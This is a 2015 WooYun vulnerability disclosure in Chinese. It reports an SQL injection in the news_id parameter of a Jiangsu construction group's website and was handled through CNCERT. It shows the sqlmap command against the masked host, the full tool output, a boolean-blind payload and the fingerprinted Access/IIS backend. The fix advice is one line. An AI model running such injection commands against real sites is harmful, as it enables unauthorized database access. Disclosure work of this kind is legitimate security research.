当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147456

漏洞标题:江苏省建工集团某页面存在SQL注射漏洞

相关厂商:江苏省建工集团

漏洞作者: linkey

提交时间:2015-10-18 20:44

修复时间:2015-12-06 14:26

公开时间:2015-12-06 14:26

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-18: 细节已通知厂商并且等待厂商处理中
2015-10-22: 厂商已经确认,细节仅向厂商公开
2015-11-01: 细节向核心白帽子及相关领域专家公开
2015-11-11: 细节向普通白帽子公开
2015-11-21: 细节向实习白帽子公开
2015-12-06: 细节向公众公开

简要描述:

RT

详细说明:

放入sqlmap跑

python sqlmap.py -u "http://**.**.**.**/news/detail.asp?news_id=1098" --table


得出:

[07:02:05] [INFO] testing connection to the target url
[07:02:06] [INFO] testing if the url is stable, wait a few seconds
[07:02:07] [INFO] url is stable
[07:02:07] [INFO] testing if GET parameter 'news_id' is dynamic
[07:02:08] [INFO] confirming that GET parameter 'news_id' is dynamic
[07:02:08] [INFO] GET parameter 'news_id' is dynamic
[07:02:08] [WARNING] heuristic test shows that GET parameter 'news_id' might not be injectable
[07:02:08] [INFO] testing for SQL injection on GET parameter 'news_id'
[07:02:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[07:02:11] [INFO] GET parameter 'news_id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[07:02:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[07:02:11] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[07:02:11] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[07:02:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[07:02:12] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[07:02:12] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[07:02:13] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[07:02:13] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[07:02:14] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[07:02:14] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[07:02:14] [INFO] testing 'Oracle AND time-based blind'
[07:02:15] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[07:02:15] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[07:02:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[07:02:23] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using the --dbms option
[07:02:32] [INFO] checking if the injection point on GET parameter 'news_id' is a false positive
GET parameter 'news_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 62 HTTP(s) requests:


结果:

---
Place: GET
Parameter: news_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: news_id=1098 AND 1145=1145
---
[07:02:35] [INFO] testing MySQL
[07:02:36] [WARNING] the back-end DBMS is not MySQL
[07:02:36] [INFO] testing Oracle
[07:02:36] [WARNING] the back-end DBMS is not Oracle
[07:02:36] [INFO] testing PostgreSQL
[07:02:37] [WARNING] the back-end DBMS is not PostgreSQL
[07:02:37] [INFO] testing Microsoft SQL Server
[07:02:37] [WARNING] the back-end DBMS is not Microsoft SQL Server
[07:02:37] [INFO] testing SQLite
[07:02:37] [WARNING] the back-end DBMS is not SQLite
[07:02:37] [INFO] testing Microsoft Access
[07:02:38] [INFO] confirming Microsoft Access
[07:02:38] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access

漏洞证明:

D8(BKF3X3F`4CDB~A]}]YHD.jpg

修复方案:

过滤就好

版权声明:转载请注明来源 linkey@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-10-22 14:26

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发对应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无